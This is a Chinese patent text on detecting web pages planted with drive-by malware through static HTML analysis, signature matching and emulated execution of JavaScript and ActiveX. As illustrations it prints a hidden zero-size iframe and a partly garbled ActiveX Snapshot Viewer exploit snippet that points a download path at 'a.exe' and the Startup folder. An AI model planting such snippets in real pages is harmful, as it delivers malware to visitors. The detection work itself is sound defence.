网页挂马检测方法和系统的制作方法

文档序号:6575239阅读:107来源:国知局

专利名称::网页挂马检测方法和系统的制作方法
技术领域
:本发明涉及计算机恶意代码检查领域,尤其涉及一种检测网页是否包含危险数据,即网页是否被挂马的检测方法和系统。
背景技术
:计算机病毒、木马、间谍软件和恶意代码是计算机网络最主要的安全威胁。在计算机病毒、木马、间谍软件和恶意代码的传播途径中,一条重要的途径就是通过构造特殊的网页将病毒、木马传播、间谍软件和恶意代码传播到访问该网页的用户计算机中。在本
技术领域
,将这种特殊的网页称为被挂马的网页。网页挂马,是指有目的地利用诸如第三方控件或者浏览器漏洞之类的现有系统漏洞,构造出包括能够触发漏洞的危险数据的网页。当用户访问这些被挂马的网页时,这些危险数据会在用户计算机上执行与危险数据相关的恶意代码,利用现有系统的漏洞在用户计算机上未经许可地执行命令、修改主机配置,并进一步执行诸如下载病毒、木马、间谍软件和恶意代码之类的操作。网页挂马主要利用浏览器脚本解释引擎、JVMCJava虚拟机)和诸如ActiveX控件之类的控件的漏洞。在当前情况下,各种浏览器脚本、Java应用小程序和各种控件在基于浏览器的应用中广泛使用,因此,也造成了网页挂马成为计算机病毒、木马、间谍软件和恶意代码的重要途径。针对网页挂马的处理方式可以大致分为两种被动防御方式和主动扫描方式。被动防御方式在用户访问某个网页时,监控浏览器处理该网页时的行为,如监控内存分配、跟踪系统API调用以及进行数据比较,当发现行为异常时,确定该网页被挂马了,并阻止对网页的进一步处理。主动扫描方式是主动请求网页内容,然后分析该网页内容以确定该网页是否被挂马。在分析网页内容时采用的大多数挂马分析系统采用特征分析来进行。目前,已经提出了多种对网页挂马进行检测的方法。专利号为200610152531.8的中国专利公开了一种基于统计特征的网页恶意脚本检测方法。该发明基于这样的原理,即网页中的恶意代码必定经过处理,而处理后网页中的正常字符和非正常字符的比例有着明显的差异,所以利用网页的字符统计特征(包括字符频率统计、相邻字符跨度值统计、与字典匹配度统计)可以检测出网页是否包括恶意脚本。但是,利用字符统计特征来检测恶意脚本存在准确率低、不能对未经过处理的危险数据进行检测、因而不能充分检测到挂马的问题。另外基于统计的检测方法依赖于大量的统计数据,这需要事先确定已知被挂马和未被挂马的网页,因而需要大量的工作量。申请号为200810198999.X的中国专利申请公开了一种网页防挂马的方法。该发明的基本原理是监控javascript的内存分配情况,根据分配内存是否覆盖特定地址,通过挂接API函数跟踪脚本执行过程,通过判断执行结果来检测网页是否被挂马。但是该网页防挂马方法只能检测到与javascript脚本解释引擎相关的漏洞,尤其是利用javascript脚本解释引擎中的heapspray的网页挂马方式。因此该方法存在能够进行检测的挂马不够全面的问题。申请号为200810098131.2的中国专利申请公开了一种网站恶意内容检测与认证方法及系统,其中的数据采集引擎以模拟用户行为的方式来对目标网站上的内容进行采集;本地数据库存储所采集到的内容;恶意内容分析引擎对存储下来的内容进行分析以检测其中是否存在恶意内容;认证授权数据库存储分析结果;反馈引擎将存在恶意内容的分析结果反馈给目标网站;认证授权引擎在不存在恶意内容时对目标网站授予通过认证的标志。在该申请中,恶意内容分析引擎通过特征分析和杀毒软件对存储的内容进行分析以检测其中是否存在恶意内容,但是其中没有公开进行分析的具体处理方式。该专利申请主要在于提供一种对网站进行认证的方法和系统,而没有对如何分析网页是否被挂马提供详细分析。可以看出,虽然现有技术中提供了多种对网页挂马进行检测的方式,但是这些方式均存在效率不高、准确度不高并且不能对各种危险数据进行全面检测的问题。因此,希望提供一种可以高效、准确且全面地对网页是否被挂马进行检测的方法和系统。
发明内容本发明的申请人发现,在网页被挂马时,通常利用特定方式将危险数据(如恶意代码)嵌入到网页中,而且这些危险数据通常以特定方式利用系统漏洞。申请人基于此提出了一种通过对代码嵌入到网页中的方式和系统漏洞被利用方式二者进行监控来检测网页是否被挂马的方式,从而可以高效且全面地进行网页挂马检测。根据本发明的一个方面,提供了一种检测网页是否包含危险数据的网页挂马检测方法,包括步骤获取网页内容;对所获取的网页内容进行静态分析,以检测可能包含危险数据的网页对象;获取所检测到的网页对象的对象内容;以及确定所述对象内容是否包含危险数据。根据本发明的一个实施例,根据可能包含危险数据的网页对象的对象特征对所获取的网页内容进行特征匹配,以检测可能包含危险数据的网页对象。根据本发明的另一个实施例,根据危险数据特征对所述对象内容进行特征匹配,以确定所述对象内容是否包含危险数据。根据本发明的另一个实施例,构造对象执行引擎来模拟执行所述对象内容,并且监控所述对象内容的模拟执行,当出现异常行为时,确定所述对象内容包含危险数据。根据本发明的另一个实施例,当所述对象内容的模拟执行期间调用外部URL时,则递归执行根据本发明的方法来检测链接所指向的网页内容是否包含危险数据。根据本发明的另一方面,提供了一种网页挂马检测设备,包括网页获取装置,用于获取与URL相对应的网页内容;静态分析装置,用于对所获取的网页内容进行静态分析,以检测出可能包含危险数据的网页对象;对象内容获取装置,用于为所检测出的可能包含危险数据的网页对象获取对象内容;以及危险数据确定装置,用于判断所述对象内容是否包含危险数据。根据本发明的一个实施例,网页挂马检测设备还包括对象特征库,而且静态分析装置根据对象特征库所包括的对象特征,通过对所述网页内容进行特征匹配来检测出可能包含危险数据的网页对象。根据本发明的另一个实施例,网页挂马检测设备还包括危险数据特征库,而且危险数据确定装置包括特征匹配装置,用于参考危险数据特征库中的危险数据的特征信息来确定对象内容是否包含危险数据。根据本发明的另一个实施例,危险数据确定装置包括模拟执行装置,用于构造对象执行引擎来模拟执行所述对象内容,并且通过监控所述对象内容执行期间的异常行为来确定所述对象内容是否包括危险数据。本发明还提供了包括上述网页挂马检测设备的网站主动检测系统和网页爬虫系统。本发明通过静态分析网页内容和动态解释执行可疑的对象内容来高效且准确地检测网页是否被挂马。本发明的基本原理是利用危险数据嵌入网页的方式以及危险数据利用漏洞的方法来检测危险数据,因此可以实现全面对网页是否被挂马的准确检测。通过阅读下文优选实施方式的详细描述,各种其他的优点和益处对于本领域普通技术人员将变得清楚明了。附图仅用于示出优选实施方式的目的,而并不认为是对本发明的限制。而且在整个附图中,用相同的参考符号表示相同的部件。其中在附图中,参考数字之后的字母标记指示多个相同的部件,当泛指这些部件时,将省略其最后的字母标记。在附图中图1示出了根据本发明一个实施例的用于检测网页中是否包含危险数据的方法的流程图100;图2示出了根据本发明一个实施例的用于检测网页中是否包含危险数据的网页挂马检测设备200;图3示出了一种根据本发明另一个实施例的、用于检测网页中是否包含危险数据的网页挂马检测方法300;以及。图4示出了根据本发明另一个实施例的、用于检测网页中是否包含危险数据的网页挂马检测设备400。具体实施例下面结合附图和具体的实施方式对本发明作进一步的描述。图1示出了一种根据本发明实施例的、用于检测网页中是否包含危险数据的网页挂马检测方法。在步骤SllO处,获取网页内容。可以各种已知的方式来获取网页内容,例如通过构造遵循HTTP或者HTTPS的客户端来获取网页内容。然后在步骤S120处,对所获取的网页内容进行静态分析,以便检测出可能包含危险数据的HTML对象。网页内容包括多个HTML对象,如table、title或者img等等。本发明的申请人发现,危险数据通常出现在特定的HTML对象中,这些特定HTML对象包括iframe、frame、引用javascript脚本的URL地址、ActiveX控件(object对象)以及javascript代码(script对象)等。根据本发明的优选实施例,提供了一个包括可能包含危险数据的HTML对象的对象特征的对象特征库,在步骤S120的执行过程中,根据对象特征库对所获取的网页内容进行静态分析,如进行特征匹配,以检测出可能包含危险数据的HTML对象。例如,HTML对象:<iframesrc=http//*******.com/bbb.htmwidth=Oheight=0></iframe>为iframe对象,而且其中的参数width和height都被设置为0,该对象就非常有可能是包含危险数据的对象。因此,对象特征库中可以包括display属性为none,或者width和height属性小于一定值的iframe对象作为其项目之一。当网页内容中的某个对象与该项目相匹配时,就认定该网页对象属于可能包含危险数据的HTML对象。如果在步骤S120中没有检测出这样的HTML对象,则说明该网页不包含危险数据,因此在步骤S130输出该网页不包括危险数据的结果,并且结束该方法。相反,如果在步骤S120中检测出一个或者多个可能包含危险数据的HTML对象,则对于这些HTML对象中的每个,在步骤S140处判断该HTML对象是直接可能包含危险数据的还是间接可能包含危险数据的对象。HTML对象可以分为直接可能包含危险数据的HTML对象和间接可能包含危险数据的对象。例如,HTML对象<iframesrc=http://-k-k-k-k-k-k-k.com/bbb.htmwidth=Oheight=0></iframe>属于间接可能包含危险数据的对象,因为即使该对象包含了危险数据,包含危险数据的内容也包含在http://*******·com/bbb.htm中。而HTML对象〈objectclassid='clsid:F0E42D50-368C-llD0-AD81_00A0C90DC8D9'id='malware'></object>〈script〉varaaa='http://127.0.0.1/a.exe';varbbb='C/DocumentsandSettings/AllUsers/「开始」菜单/程序/test,exe';malware.SnapshotPath—SlSlSlmalware.CompressedPath=bbb;〈/script〉<scriptlanguage='javascript'>malware.PrintSnapshot();〈/script〉属于直接可能包含危险数据的对象,这是因为该HTML对象中直接就包括了可能包含危险数据的对象内容。因此,如果在步骤S140处判断出该HTML对象为间接可能包含危险数据的对象,则需要在步骤S150中,对该HTML对象进行进一步处理以获得直接可能包含危险数据的对象。存在多种对间接可能包含危险数据的对象进行处理以获得直接可能包含危险数据的对象的方法。例如,间接可能包含危险数据的对象通常为到其它网页的链接,此时,可以提取该链接,并获取该链接所指向网页的内容,然后通过利用本方法中的相关处理以获得直接可能包含危险数据的对象。如果在步骤S150中没有获得直接可能包含危险数据的对象,则说明该间接可能包含危险数据的对象实际上并没有包含危险数据,因此,该方法返回到步骤S140以处理在步骤S120中检测到的下一个可能包含危险数据的对象。在步骤S160处,提取在步骤S140或者S150处获取的直接可能包含危险数据的对象的对象内容。然后在步骤S170处,对该对象内容进行处理以确定该对象内容是否包含危险数据。存在各种确定对象内容是否包含危险数据的方法。例如,在本发明的一个实施例中,提供了危险数据特征库,该特征库中包含了各种已知危险数据的特定特征。因此在步骤S170的处理中,可以通过根据危险数据特征库中所包含的危险数据特定特征来对对象内容进行特征匹配,从而进行内容分析,以确定该对象内容是否包含危险数据。例如在上述示例中的classid='clsid:F0E42D50-368C-llD0-AD81_00A0C90DC8D9‘为微软Access中捆绑了的快照查看器的ActiveX控件的标识。由于该控件一般不会在网页中被调用,因此,该标识包含在危险数据特征库中。当对象内容包括该classid标识时,可以判断该对象内容包含危险数据。当无法利用危险数据特征库来快速确定对象内容是否包含危险数据时,可以通过特定的对象执行引擎模拟执行对象内容来确定该对象内容是否包含危险数据。例如,根据本发明的一个实施例,在对象内容为javascript脚本的情况下,通过特定的javascript脚本解释引擎来模拟执行该javascript脚本,并监控该脚本执行过程中的内存分配情况,如果发现javascript脚本在执行时分配大量内存或者覆盖特定地址(如申请号为200810198999.X的中国专利申请所述,该申请的内容通过引用在此并入),则认为该对象内容包含危险数据。否则可以认为该脚本的执行是正常的,并且不包含危险数据。进一步,根据本发明的另一个实施例,在对象内容为ActiveX控件的情况下,首先可以如上所述利用危险数据特征库来快速确定对象内容是否包含危险数据,当无法确定ActiveX控件是否包含危险数据时,可以通过特定的ActiveX控件执行引擎来模拟执行该ActiveX控件,并且监控控件执行过程中是否存在对危险接口的调用,当存在对危险接口的调用时,认为该对象内容包含危险数据,否则认为该对象内容不包括危险数据。应当注意的是,上面虽然以javascript脚本和ActiveX控件为例说明了确定对象内容是否包含危险数据的判断方式,但是应当注意的是,这种构造特定对象执行引擎来模拟执行对象内容,并且通过监控对象内容执行期间的异常行为来确定该对象内容是否包括危险数据的方式同样适用于其他对象内容,如AdobeFlash对象和JavaApplet等。另外,还应当注意的是,上面虽然描述了当无法利用危险数据特征库来快速确定对象内容是否包含危险数据时,才通过特定的对象执行引擎模拟执行对象内容来确定该对象内容是否包含危险数据,但是这些确定对象内容是否包含危险数据的方法步骤可以相互独立地进行,而不存在先后顺序。当在步骤S170确定某个对象内容包含危险数据时,可以在步骤S180直接输出该网页包含危险数据的结果,并且退出该方法。而当在步骤S170确定该对象内容不包含对象内容时,在步骤S190判断是否还存在要处理的对象,如果还存在,则返回到步骤S140以处理在步骤S120中检测到的下一个可能包含危险数据的对象。如果所有对象都被处理了,且没有发现包含危险数据的对象,则认为该网页不包含危险数据,即没有被挂马,此时通过步骤S130输出该网页不包括危险数据的结果,并且结束该方法。应当注意的是,在上述方法100中,一旦检测到某个对象内容包含危险数据,则立即报告该结果并结束方法的执行。但是,根据本发明的另一个实施例,在检测到对象内容包含危险数据时,记载相关信息,并且继续处理下一个对象,直到处理完全对象为止,然后根据记载的相关信息输出网页中包含危险数据的详细内容。这在某些应用,如对某个网站进行扫描以确定网站被挂马的详细情况的应用中是尤其有利的。根据本发明的上述方法100首先对页面进行静态分析,确定可能包含危险数据的HTML对象,随后提取这些HTML对象中的对象内容,并通过特征匹配和模拟执行来确定这些HTML对象内容是否包含危险数据,即确定网页是否被挂马。由于方法100结合了静态分析、特征匹配和模拟执行等方式,因此可以快速且准确地确定网页是否包含危险数据。此外,还可以通过模拟执行来确定网页中是否包含目前未知的危险数据。另外,对于方法100中所用到的对象特征库和危险数据特征库,可以根据网页挂马方式的最新进展而进行动态更新,由此进一步保证了方法100的准确性。另外通过静态分析和模拟执行相结合,实时监控内存分配行为,可以检测出其利用的未知漏洞,进一步保证以最快的速度扫描出潜在的危险数据。图2示出了根据本发明一个实施例的、用于检测网页中是否包含危险数据的网页挂马检测设备200。网页挂马检测设备200包括网页获取装置210、静态分析装置220、对象特征库230、对象内容获取装置240、危险数据确定装置250和危险数据特征库260。网页获取装置210根据输入的URL地址来获取相应的网页内容,并且将网页内容发送给静态分析装置220进行处理。静态分析装置220从网页内容中检测出可能包含危险数据的HTML对象。作为选择,如上面参考步骤S120的处理所述的那样,静态分析装置220可以根据对象特征库230中所包含的各种HTML对象的特征来对网页内容进行特征匹配,从而检测出可能包含危险数据的HTML对象。对象内容获取装置240为由静态分析装置220检测出的每个可能包含危险数据的HTML对象获取相应的对象内容。如上所述,HTML对象可以分为直接可能包含危险数据的HTML对象和间接可能包含危险数据的对象,因此,对象内容获取装置240如上面参考步骤S140和S160的处理所述的那样进行处理以获取最终可能包含危险数据的对象内容。危险数据确定装置250对由对象内容获取装置240所获取的对象内容进行分析以判断该对象内容是否包含危险数据。可选地,危险数据确定装置250可以参考危险数据特征库260中的危险数据特征来快速确定对象内容是否包含危险数据。另外,危险数据确定装置250还可以构造特定对象执行引擎来模拟执行对象内容,并且通过监控对象内容执行期间的异常行为来确定该对象内容是否包括危险数据,并输出判断结果。在上文中已经描述了各种判断对象内容是否包含危险数据的方式,这些方式都可以在危险数据确定装置250中实现,因此这里不再对这些方式进行重复。申请人:发现,在各种对象内容的模拟执行期间,有时会触发对外部URL的引用,并且执行该外部URL的内容,因此,为了更全面地确定某个网页是否包含危险数据或者被挂马,就必须也对这种在对象内容被模拟执行期间引用的URL进行分析。例如,某个javascript对象内容为"document,writeln(‘‘<iframesrc=http://*******.com/bbb.htmwidth=Oheight=0></iframe>")P^WWiA行期间,会触发对URL:http://*******.com/bbb.htm的内容的引用,因此也需要对其中的9内容进行分析。另外,根据本发明的方法始于获取某个URL所指向网页的网页内容,而在本发明方法的执行期间,也需要获取与相关对象相关联的URL的网页内容进行处理。例如,在方法步骤S150和对象内容获取装置240对间接可能包含危险数据的对象进行处理期间,由于间接可能包含危险数据的对象通常都是到外部URL的链接,此时需要提取该URL链接所包含的内容进行分析。因此,可以对本发明的方法进行进一步改进,以通过递归执行本发明的方法来提高本发明方法的执行效率。图3示出了一种根据本发明另一个实施例的、用于检测网页中是否包含危险数据的网页挂马检测方法300。在方法300中,与方法100中相同或者相似的处理用相同的附图标记表示,并且不再进行描述。第一个不同之处在于步骤S140’,当判断出HTML对象为间接可能包含危险数据的对象时,提取相关的URL,然后方法返回到步骤SllO以开始对该URL开始新的处理。第二个不同之处在于步骤S170’,其中通过危险数据特征匹配来确定对象内容是否包含危险数据,如果包含危险数据,则方法进行到步骤S180以输出该网页包含危险数据的结果。否则,方法进入步骤S310,其中通过构造特定对象执行引擎来模拟执行对象内容,如果在模拟执行期间发现有对外部URL的引用(S320),则提取相关的URL,然后方法返回到步骤SllO以开始对该URL开始新的处理。如果在模拟执行期间发现有异常行为(S330),则断定该对象内容包含危险数据,方法进入步骤S180以输出该网页包含危险数据的结果。如果没有发现异常,则方法进入步骤S190以确定是否存在还要处理的对象。应当注意的是,方法300为方法100的进一步扩展,因此对于方法100的描述同样适用于方法300,例如,在步骤S310的处理中,上面在方法100的步骤S170的相关描述中所指出的、对javascript和ActiveX控件的异常判断同样在此适用。图4示出了根据本发明另一个实施例的、用于检测网页中是否包含危险数据的网页挂马检测设备400。在网页挂马检测设备400中,与网页挂马检测设备200中相同或者相似的处理用相同的附图标记表示,并且不再进行描述。在网页挂马检测设备400中,对象内容获取装置240另外包括可疑URL获取装置241和直接对象内容获取装置243。如先前所述HTML对象可以分为直接可能包含危险数据的HTML对象和间接可能包含危险数据的对象,直接对象内容获取装置对直接可能包含危险数据的HTML对象进行处理,以获取其中的内容。由于间接可能包含危险数据的对象通常都是URL链接,因此由可疑URL获取装置241提取这些URL链接,并且将该URL发送到网页获取装置210以获取相应的网页内容进行进一步处理。此外,危险数据确定装置250进一步包括模拟执行装置251和特征匹配装置253。特征匹配装置253参考危险数据特征库260中的危险数据特征来快速确定对象内容是否包含危险数据。模拟执行装置251构造特定对象执行引擎来模拟执行对象内容,并且通过监控对象内容执行期间的异常行为来确定该对象内容是否包括危险数据。另外,在模拟执行装置模拟执行对象内容期间,如果发现有对外部URL的调用,则提取该URL链接,并将其发送到网页获取装置210以获取相应的网页内容进行进一步处理。特别地,模拟执行装置251还包括javascript解析引擎2511和ActiveX模拟引擎2512来分别模拟执行javascript脚本和ActiveX控件。Javascript解析引擎2511模拟执行javascript脚本,并监控该脚本执行过程中的内存分配情况,如果发现javascript脚本在执行时分配大量内存或者覆盖特定地址,则认为该对象内容包含危险数据,否则可以认为该脚本的执行是正常的,并且不包含危险数据。ActiveX模拟引擎2512模拟执行ActiveX控件,并且监控控件执行过程中是否存在对危险接口的调用,当存在对危险接口的调用时,认为该对象内容包含危险数据,否则认为该对象内容不包括危险数据。上面描述了根据本发明的用于确定网页是否包含危险数据,即网页是否被挂马的检测方法和设备。根据本发明的检测方法和设备首先通过静态分析来确定可能包含危险内容的网页对象,然后通过特征匹配和模拟执行来确定这些网页对象是否的确包含危险内容,因此可以准确且快速地对网页是否被挂马进行确定。另外,根据本发明的检测方法和设备在检测网页是否挂马时,还对由该网页调用的、可能包含危险内容的URL的内容也进行检测,由此进一步确保了检测的全面性和准确性。根据本发明的检测方法和设备可以应用于许多领域。例如,在网页搜索中常用的网页爬虫系统可以利用根据本发明的方法和设备对每个获取的网页进行分析,以确定网页是否被挂马,并且向客户提供该指示。另外,网站主动监测系统也可以利用根据本发明的方法和设备来对网站中的网页进行分析,来确定网页是否被挂马,并向相关的系统管理员提供检测结果,从而可以进一步确保网站的安全。应该注意的是,上述实施例对本发明进行说明而不是对本发明进行限制,并且本领域技术人员在不脱离所附权利要求的范围的情况下可设计出替换实施例。在权利要求中,不应将位于括号之间的任何参考符号构造成对权利要求的限制。单词“包含”不排除存在未列在权利要求中的元件或步骤。位于元件之前的单词“一”或“一个”不排除存在多个这样的元件。本发明可以借助于包括有若干不同元件的硬件以及借助于适当编程的计算机来实现。在列举了若干装置的单元权利要求中,这些装置中的若干个可以是通过同一个硬件项来具体体现。单词第一、第二、以及第三等的使用不表示任何顺序。可将这些单词解释为名称。权利要求一种检测网页是否包含危险数据的网页挂马检测方法,包括步骤获取网页内容;对所获取的网页内容进行静态分析,以检测可能包含危险数据的网页对象;获取所检测到的网页对象的对象内容;以及确定所述对象内容是否包含危险数据。2.如权利要求1所述的网页挂马检测方法,其中所述确定所述对象内容是否包含危险数据的步骤还包括根据危险数据特征对所述对象内容进行特征匹配,以确定所述对象内容是否包含危险数据。3.如权利要求1或者2所述的网页挂马检测方法,其中所述确定所述对象内容是否包含危险数据的步骤还包括构造对象执行引擎来模拟执行所述对象内容;监控所述对象内容的模拟执行,当出现异常行为时,确定所述对象内容包含危险数据。4.如权利要求3所述的网页挂马检测方法,其中所述对象内容包括javascript脚本,所述对象执行引擎包括javascript脚本解释引擎,所述异常行为包括所述javascript脚本在执行时分配大量内存或者覆盖特定地址。5.如权利要求3所述的网页挂马检测方法,其中所述对象内容包括ActiveX控件,所述对象执行引擎包括ActiveX控件执行引擎,所述异常行为包括所述控件在执行时调用危险接口。6.如权利要求1或者2所述的网页挂马检测方法,其中所述对所获取的网页内容进行静态分析包括根据可能包含危险数据的网页对象的对象特征对所获取的网页内容进行特征匹配,以检测可能包含危险数据的网页对象。7.如权利要求1或者2所述的网页挂马检测方法,其中所述获取所检测到的网页对象的对象内容包括获取所述网页对象相关联的URL链接,并获取该URL链接指向的内容进行处理。8.如权利要求7所述的网页挂马检测方法,其中对于所述URL链接,通过递归执行权利要求1所述的方法来检测来链接所指向的网页内容是否包含危险数据。9.如权利要求3所述的网页挂马检测方法,还包括步骤当所述对象内容的模拟执行期间调用外部URL时,则递归执行权利要求1所述的方法来检测来链接所指向的网页内容是否包含危险数据。10.一种网页挂马检测设备,包括网页获取装置,用于获取与URL相对应的网页内容;静态分析装置,用于对所获取的网页内容进行静态分析,以检测出可能包含危险数据的网页对象;对象内容获取装置,用于为所检测出的可能包含危险数据的网页对象获取对象内容;以及危险数据确定装置,用于判断所述对象内容是否包含危险数据。11.如权利要求10所述的网页挂马检测设备,还包括对象特征库,包括可能包含危险数据的网页对象的对象特征,其中所述静态分析装置根据所述对象特征库所包括的对象特征,通过对所述网页内容进行特征匹配来检测出可能包含危险数据的网页对象。12.如权利要求10或者11所述的网页挂马检测设备,其中所述内容获取装置包括可疑URL获取装置和直接对象内容获取装置,所述可疑URL获取装置提取所述网页对象中的URL链接,并将该URL发送到所述网页获取装置进行处理,以及所述直接对象内容获取装置直接获取所述网页对象的对象内容。13.如权利要求10或者11所述的网页挂马检测设备,还包括危险数据特征库,其中包括各种危险数据的特征信息;其中所述危险数据确定装置包括特征匹配装置,用于参考所述危险数据特征库中的危险数据的特征信息来确定对象内容是否包含危险数据。14.如权利要求10或者11所述的网页挂马检测设备,其中所述危险数据确定装置包括模拟执行装置,用于构造对象执行引擎来模拟执行所述对象内容,并且通过监控所述对象内容执行期间的异常行为来确定所述对象内容是否包括危险数据。15.如权利要求14所述的网页挂马检测设备,其中所述模拟执行装置在模拟执行所述对象内容期间发现有对外部URL的调用时,提取该URL链接,并将其发送到网页获取装置210进行进一步处理。16.如权利要求14所述的网页挂马检测设备,其中所述对象内容为javascript脚本,而且所述模拟执行装置包括javascript解析引擎,用于模拟执行javascript脚本,并监控该javascript脚本执行过程中的内存分配情况,如果发现该javascript脚本在执行时分配大量内存或者覆盖特定地址,则认为该对象内容包含危险数据。17.如权利要求14所述的网页挂马检测设备,其中所述对象内容为ActiveX控件,而且所述模拟执行装置包括ActiveX模拟引擎,用于模拟执行该ActiveX控件,并且监控该ActiveX控件执行过程中是否存在对危险接口的调用,当存在对所述危险接口的调用时,认为该对象内容包含危险数据。18.一种网站主动检测系统,包括如权利要求10-17中的任一个所述的网页挂马检测设备。19.一种网页爬虫系统,包括如权利要求10-17中的任一个所述的网页挂马检测设备。全文摘要本发明公开了一种检测网页是否包含危险数据的网页挂马检测方法,包括步骤获取网页内容;对所获取的网页内容进行静态分析,以检测可能包含危险数据的网页对象;获取所检测到的网页对象的对象内容;以及确定所述对象内容是否包含危险数据。本发明还公开了相应的网页挂马检测设备。本发明通过静态分析网页内容和动态解释执行可疑的对象内容来高效且准确地检测网页是否被挂马。文档编号G06F21/00GK101964026SQ20091008978公开日2011年2月2日申请日期2009年7月23日优先权日2009年7月23日发明者温玉杰,王晓明申请人:中联绿盟信息技术(北京)有限公司
网友询问留言 已有0条留言
  • 还没有人留言评论。精彩留言会获得点赞!
1